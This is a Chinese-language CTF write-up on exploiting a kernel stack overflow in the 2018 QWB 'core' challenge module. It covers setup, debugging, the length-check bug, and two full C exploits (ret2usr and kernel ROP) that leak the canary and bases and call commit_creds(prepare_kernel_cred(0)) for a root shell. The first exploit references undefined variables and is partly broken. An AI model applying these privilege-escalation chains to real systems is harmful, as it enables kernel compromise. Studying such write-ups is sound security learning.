kernel-2-stkof 这次主要基于内核栈溢出作为主题学习。相关练习是2018强网杯core
 
准备 拿到一道内核的附件首先要做的一些事情。首先介绍一下题目文件内容
bzImage :kernel映像
core.cpio :文件系统映像
start.sh :一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
vmlinux :类比成用户态pwn中的libc文件。解压core.cpio之后core目录里也有个vmlinux,调试时用core目录的vmlinux。
vmlinux 未经过压缩,也就是说我们可以从 vmlinux 中找到一些 gadget,我们先把 gadget 保存下来备用。如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取(命令:./extract-vmlinux ./bzImage > vmlinux)。
我们要做的首先是修改一些配置参数,包括机器内存,自动关机时间等。为了方便我们调试。
解包文件系统 1 2 3 4 5 6 7 8 9 10 11 12 #  解包文件系统 mkdir core mv core.cpio ./core/core.cpio.gz cd core gunzip core.cpio.gz cpio -idmv < core.cpio rm -rf core.cpio #  打包文件系统 ./gen_cpio.sh core.cpio   # gen_cpio.sh在解包的文件系统中自带 mv 	core.cpio 	../core.cpio cd .. rm -rf core 
 
类比于一般的pwn题,在解包的文件系统中,*.ko就是binary文件,vmlinux就是libc文件。
修改start.sh脚本 在这里修改分配内存,为了方便调试
1 2 3 4 5 6 7 8 9 10 ➜  give_to_player git:(main) ✗ cat start.sh    qemu-system-x86_64 \ -m 64M \   =======> change to -m 128M -kernel ./bzImage \ -initrd  ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ # 没有开启semp,可以ret2usr,否则只能内核rop -s  \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic  \ 
 
修改文件系统初始化脚本 打开core,修改其中文件系统初始化脚本init,将时间行注释,如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ➜  give_to_player git:(main) ✗ cd core      ➜  core git:(main) ✗ ls bin  core.ko  etc  gen_cpio.sh  init  lib  lib64  linuxrc  proc  root  sbin  sys  tmp  usr  vmlinux ➜  core git:(main) ✗ cat init     # !/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms #  把kallsyms的内容保存到本地,这样就能从/tmp/kallsyms中获取commit_creds,prepare_kernel_cred等函数的地址了 echo 1 > /proc/sys/kernel/kptr_restrict #  之后在设置这里restrict为1,表示不能通过/proc/kallsyms查看函数地址,但是之前我们已经保存,因此这句话就无关紧要了 echo 1 > /proc/sys/kernel/dmesg_restrict #  dmesg用来储存开机时一些log 信息,这里把restrict设置为1就表示后续无法读取信息了 ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2  insmod /core.ko #  poweroff -d 120 -f &			<======这里注释,类似alarm setsid /bin/cttyhack setuidgid 0 /bin/sh   # <======这里原来数字是1000,改为0,表示我们可以有内核的调试权限,这样可以方便看到符号表等。 echo 'sh end!\n' umount /proc umount /sys poweroff -d 0  -f 
 
调试方式 1 2 3 ➜  give_to_player git:(main) ✗ qemu-system-x86_64 --help |grep gdb  	-gdb dev        wait for  gdb connection on 'dev'  	-s              shorthand for  -gdb tcp::1234  
 
这里说明qemu的远程调试端口可以用-s缩写来代替。-s就是代表-gdb tcp::1234 。当然,也可以指定其他端口。可以回看我们的启动脚本,发现其中已经包含了-s。我们直接可以远程调试。
题目分析 内核保护介绍 
canary、pie、NX和一般的题目类似 
smep (supervisor mode access prevention)当处于用户态页表的进程想要执行内核代码时,将会报错。同样的,在内核模式下,执行用户空间代码,也会报错。 
 
本题目保护如下。semp未开启。
1 2 3 4 5 6 [*] '/home/nicholas/Desktop/kernel/pwnkernel/problems/give_to_player/core/core.ko'      Arch:     amd64-64 -little     RELRO:    No RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      No PIE (0x0 ) 
 
分析题目 拿到一道内核题,首先应该看init_module,它相当于驱动创建的主函数。
其次,看core_ioctl。这里定义了如何对驱动进行指令级别的管理。也就是之前提到ioctl能够操控的原因。本题的ioctl函数如下。ioctf中包含的函数和之前做os一样。仔细看一下这三个函数做了什么。a3是一个局部变量,core_read可以读入到a3,之后第二个可以把a3赋值给off,最后一个调用了core_copy 函数。可想而知这是一个比较关键的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 __fastcall core_ioctl (__int64 a1, int  a2, __int64 a3)  {   switch  ( a2 )   {     case  1719109787 :       core_read(a3);       break ;     case  1719109788 :       printk(&unk_2CD);        off = a3;       break ;     case  1719109786 :       printk(&unk_2B3);        core_copy_func(a3);       break ;   }   return  0LL ; 
 
read函数 从用户空间读取数据,也就是我们的主函数。在内核中,我们无法直接读取用户输入,要经过syscall等ipc调用。具体流程在操作系统课上将会详细说明。注意这里的copy_to_user是库函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned  __int64 __fastcall core_read (__int64 a1) {   char  *v2;    __int64 i;    unsigned  __int64 result;    char  v5[64 ];    unsigned  __int64 v6;    v6 = __readgsqword(0x28 u);   printk(&unk_25B);    printk(&unk_275);    v2 = v5;   for  ( i = 16LL ; i; --i )   {     *(_DWORD *)v2 = 0 ;     v2 += 4 ;   }   strcpy (v5, "Welcome to the QWB CTF challenge.\n" );   result = copy_to_user(a1, &v5[off], 64LL );     if  ( !result )     return  __readgsqword(0x28 u) ^ v6;   __asm { swapgs }   return  result; } 
 
由于off我们可以控制,因此可以通过控制off泄露一些地址和canary。
core copy函数 比较关键的其实就是在于core_copy函数了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall core_copy_func (__int64 a1)  {   __int64 result;    _QWORD v2[10 ];    v2[8 ] = __readgsqword(0x28 u);   printk(&unk_215);   if  ( a1 > 63  )   {     printk(&unk_2A1);                                result = 0xFFFFFFFF LL;   }   else    {     result = 0LL ;     qmemcpy(v2, &name, (unsigned  __int16)a1);      }   return  result; 
 
不难发现,这里有一个问题。在检查a1大小合法性时,是将他和63比较,大于则有错,但是我们可以写小于0的。同时,在真正qmemcopy时,只比较了强行转换为unsigned int 16的变量。我们如果写一个0xfffffffffffff100就可以绕过第一个检查(因为这个数字小于0),同时也使得第二个检查中结果为0xf100,远远大于64,这样就实现了栈溢出 。
exp 首先明确攻击思路。如下所示
    (1)获取 commit_creds(),prepare_kernel_cred() 的地址:    /tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址。
(2)通过 ioctl 设置 off,然后通过 core_read() leak 出 canary
(3)通过 core_write() 向 name 写,构造 ropchain
(4)通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop
(5)通过 rop 执行 commit_creds(prepare_kernel_cred(0))
(6)返回用户态,通过 system(“/bin/sh”) 等起 shell
准备 我们如果要调试内核,首先要获取镜像加载地址。在一般的os中,内核通常在高地址。这里我们可以直接看到,如下所示。
1 2 3 4 / # cat /sys/module/core/sections/.text  0xffffffffc03f0000 
 
接着,开一个gdb远程连接上去。使用如下命令
1 2 3 4 pwndbg> target remote 127.0 .0 .1 :1234   pwndbg> add-symbol-file ./core/core.ko 0xffffffffc03f0000 	 
 
接着就可以在函数名上面下断点了
1 2 pwndbg> b core_read Breakpoint 1  at 0xffffffffc03f0063  
 
以上相当于获得了镜像的函数地址,但是我们最终需要执行的是
1 commit_creds(prepare_kernel_cred(0 )); 
 
这两个函数都在类似于glibc的vmlinux中。为此,我们要首先找到这两个函数的偏移(在pwntools中没有直接找到vmlinux中符号偏移的方法)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from  pwn import  *elf = ELF('./core/vmlinux' ) ➜  give_to_player git:(main) ✗ checksec ./core/vmlinux  print  "commit_creds" ,hex (elf.symbols['commit_creds' ]-0xffffffff81000000 )print  "prepare_kernel_cred" ,hex (elf.symbols['prepare_kernel_cred' ]-0xffffffff81000000 )
 
接下来寻找在内核中commit_creds的地址。和用户态一样,VMlinux也会被加载到一个随机地址。但是不重要,一旦我们知道了偏移,就可以知道被加载到内核中的VMlinux的基地址,从而计算出内核中commit_creds的地址。
1 2 3 4 5 #  cat  /proc/kallsyms | grep commit_credsffffffffaa09c8e0 T commit_creds #  (python3) > >> hex(0xffffffffaa09c8e0-0x9c8e0) '0xffffffffaa000000'   # 得到加载VMlinux的基地址  
 
ret2usr 首先了解一下流程
1 ***执行 commit_creds(prepare_kernel_cred(0))***,此时该进程已经是id为0的root进程了,但是仍在内核态中。而这条语句的执行可以用ROP来做,由于SMEP没开,ret2user也可以,ret2user就是在编写的程序中写入一个函数调用该函数,将ROP的该部分直接写成用户态函数的地址;
2 ***执行swapgs***,准备回到用户态
3 iretq回到用户态,在rsp指向的位置布置好相关寄存器的值,特别的将rip寄存器的值保存为执行system(“/bin/sh”),再返回用户态后就可以拿到一个root权限的shell了。
 
由于没有开启smep,可以尝试用ret2usr来做。
在ret2usr过程中,包括了os里面的保存寄存器,弹出寄存器的操作。这里需要我们手写内联汇编。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned  long  user_cs, user_ss, user_eflags,user_sp;void  save_stats ()  {	asm ( 		"movq %%cs, %0\n"  		"movq %%ss, %1\n"  		"movq %%rsp, %3\n"  		"pushfq\n"  		"popq %2\n"  		:"=r" (user_cs), "=r" (user_ss), "=r" (user_eflags),"=r" (user_sp)  		:  		: "memory"   	); } 
 
接着可以根据反汇编结果编写交互函数
1 2 3 4 5 6 7 8 9 10 11 void  setoff (int  fd,int  off) {	ioctl(fd,0x6677889C ,off); } void  core_read (int  fd,char  *buf) {	ioctl(fd,0x6677889B ,buf); } void  core_copy (int  fd , unsigned  long  long  len) {	ioctl(fd, 0x6677889A ,len); } 
 
接下来可以编写main函数。这里尝试分析一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 #include  <stdio.h>  #include  <fcntl.h>  #include  <unistd.h>  int  fd;unsigned  long  user_cs, user_ss, user_eflags,user_sp;size_t  commit_creds_addr,prepare_kernel_cred_addr;  void  core_read (char  *buf) {    ioctl(fd,0x6677889B ,buf);      }   void  change_off (long  long  v1) {    ioctl(fd,0x6677889c ,v1); }   void  core_write (char  *buf,int  a3) {    write(fd,buf,a3); }   void  core_copy_func (long  long  size) {    ioctl(fd,0x6677889a ,size); }   void  shell () {    system("/bin/sh" ); }   void  save_stats () {    asm (         "movq %%cs, %0\n"          "movq %%ss, %1\n"          "movq %%rsp, %3\n"          "pushfq\n"          "popq %2\n"          :"=r" (user_cs), "=r" (user_ss), "=r" (user_eflags),"=r" (user_sp)         :         : "memory"      ); }   void  get_root () {    char * (*pkc)(int ) = prepare_kernel_cred_addr;     void  (*cc)(char *) = commit_creds_addr;     (*cc)((*pkc)(0 )); } int  main (void ) {	save_stats() ;  	unsigned  long  long  buf[0x40 /8 ]; 			 	memset (buf,0 ,0x40 ); 	unsigned  long  long  canary ; 	unsigned  long  long  module_base ; 	unsigned  long  long  vmlinux_base ;  	unsigned  long  long  iretq ; 	unsigned  long  long  swapgs ; 	unsigned  long  long  rop[0x30 ]; 	memset (buf,0 ,0x30 *8 );						 	int  fd = open("/proc/core" ,O_RDWR);			 	if (fd == -1 ){ 		printf ("open file error\n" ); 		exit (0 ); 	} 	else { 		printf ("open file success\n" ); 	} 	printf ("[*] buf: 0x%p" ,buf); 	setoff(fd,0x40 );							 	core_read(fd,buf); 	canary = buf[0 ];							 	module_base =  buf[2 ] - 0x19b ;			   	vmlinux_base = buf[4 ] - 0x16684f0 ; 	printf ("[*] canary: 0x%p" ,canary); 	printf ("[*] module_base: 0x%p" ,module_base); 	printf ("[*] vmlinux_base: 0x%p" ,vmlinux_base); 	commit_creds = vmlinux_base + 0x9c8e0 ;		 	prepare_kernel_cred = vmlinux_base + 0x9cce0 ; 	iretq = vmlinux_base + 0x50ac2 ;				 	swapgs  = module_base + 0x0d6 ; 	rop[8 ] = canary ;     rop[9 ] = 0 ;								   	rop[10 ] = payload; 	rop[11 ] = swapgs; 	rop[12 ] = 0 ;  	rop[13 ] = iretq ; 	rop[14 ] = get_shell ; 						 	rop[15 ] = user_cs;							 	rop[16 ] = user_eflags; 	rop[17 ] = user_sp; 	rop[18 ] = user_ss; 	rop[19 ] = 0 ;								 	write(fd,rop,0x30 *8 ); 	core_copy(fd,0xf000000000000000 +0x30 *8 ); 
 
静态编译上述文件,并放到文件系统中,之后可以尝试调试。
刚才没有说明如何找到canary,这里通过调试说明
1 2 3 4 5 6 #  (pwndbg)    0xffffffffc012006e <core_read+11>    sub    rsp, init_module+36           <72>    0xffffffffc0120072 <core_read+15>    mov    rax, qword ptr gs:[0x28]    0xffffffffc012007b <core_read+24>    mov    qword ptr [rsp + 0x40], rax  ► 0xffffffffc0120080 <core_read+29>    xor    eax, eax #  可以看到上面把canary放到rsp+0x40地方。其实IDA里面也能看到。我们想调试的主要目的是想获得module和vmlinux的一些地址。 
 
1 2 3 4 5 6 7 8 #  (pwndbg) 08:0040│     0xffffa6f6400d3e58 ◂— add    ch, al /* 0xabcb5d9dd231c500 */ # canary 09:0048│     0xffffa6f6400d3e60 —▸ 0x7fff7548c1a0 ◂— 0 0a:0050│     0xffffa6f6400d3e68 —▸ 0xffffffffc012019b (core_ioctl+60) ◂— jmp    0xffffffffc01201b5  # about module base 0b:0058│     0xffffa6f6400d3e70 —▸ 0xffff8a54c78b66c0 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */ 0c:0060│     0xffffa6f6400d3e78 —▸ 0xffffffffba7dd6d1 ◂— mov    rdi, rbx # about vmlinux base 0d:0068│     0xffffa6f6400d3e80 ◂— wait    /* 0x889b */ 
 
这里vmlinux base和module base两个的关系还是没有很清楚。
ROP rop就是如果无法在用户空间直接执行commit_creds(prepare_kernel_cred(0))时采用的方法。在上面ret2usr中我们实际上是在用户地址空间中执行的上述exp,但是如果有限制不能再用户空间执行此函数。我们首先要在vmlinux中找到此函数的地址,具体方法就是先泄露偏移量,再通过之前讲到的获取符号表的方法找到commit_creds和prepare_kernel_cred这两个函数的偏移,使用rop调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 #include  <stdio.h>  #include  <fcntl.h>  #include  <unistd.h>  int  fd;unsigned  long  user_cs, user_ss, user_eflags,user_sp;  void  core_read (char  *buf) { ioctl(fd,0x6677889B ,buf);   }   void  change_off (long  long  v1) { ioctl(fd,0x6677889c ,v1); }   void  core_write (char  *buf,int  a3) { write(fd,buf,a3); }   void  core_copy_func (long  long  size) { ioctl(fd,0x6677889a ,size); }   void  shell () { system("/bin/sh" ); }   void  save_stats () { asm (      "movq %%cs, %0\n"       "movq %%ss, %1\n"       "movq %%rsp, %3\n"       "pushfq\n"       "popq %2\n"       :"=r" (user_cs), "=r" (user_ss), "=r" (user_eflags),"=r" (user_sp)       :       : "memory"    ); }   int  main () { int  ret,i;  char  buf[0x100 ];  size_t  vmlinux_base,core_base,canary;  size_t  commit_creds_addr,prepare_kernel_cred_addr;  size_t  commit_creds_offset = 0x9c8e0 ;  size_t  prepare_kernel_cred_offset = 0x9cce0 ;  size_t  rop[0x100 ];  save_stats();  fd = open("/proc/core" ,O_RDWR);  change_off(0x40 );  core_read(buf);    vmlinux_base = *(size_t  *)(&buf[0x20 ]) - 0x1dd6d1 ;  core_base = *(size_t  *)(&buf[0x10 ]) - 0x19b ;  prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;  commit_creds_addr = vmlinux_base + commit_creds_offset;  canary = *(size_t  *)(&buf[0 ]);  printf ("[*]canary:%p\n" ,canary);  printf ("[*]vmlinux_base:%p\n" ,vmlinux_base);  printf ("[*]core_base:%p\n" ,core_base);  printf ("[*]prepare_kernel_cred_addr:%p\n" ,prepare_kernel_cred_addr);  printf ("[*]commit_creds_addr:%p\n" ,commit_creds_addr);    for (i = 0 ;i < 8 ;i++){      rop[i] = 0x66666666 ;  }  rop[i++] = canary;                        rop[i++] = 0 ;                             rop[i++] = vmlinux_base + 0xb2f ;          rop[i++] = 0 ;                             rop[i++] = prepare_kernel_cred_addr;  rop[i++] = vmlinux_base + 0xa0f49 ;        rop[i++] = vmlinux_base + 0x21e53 ;        rop[i++] = vmlinux_base + 0x1aa6a ;        rop[i++] = commit_creds_addr;  rop[i++] = core_base + 0xd6 ;              rop[i++] = 0 ;                             rop[i++] = vmlinux_base + 0x50ac2 ;        rop[i++] = (size_t )shell;  rop[i++] = user_cs;  rop[i++] = user_eflags;  rop[i++] = user_sp;  rop[i++] = user_ss;  core_write(rop,0x100 );  core_copy_func(0xf000000000000100 );  return  0 ; } 
 
这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去。和ret2usr很相似,都是基于栈溢出。这里唯一不同的地方就是执行代码没有直接使用用户空间的,而仍然是内核的 (因为我们rop本质是在驱动里面运作,在内核态)
寻找gardet的方法如下
ropper –file vmlinux  -search “pop|ret” (较慢)
objdump -d vmlinux -M intel | grep -E ‘ret|pop’(格式不好看,但是很快)
 
主要找到上述类似gardet,可以模仿来做栈溢出等。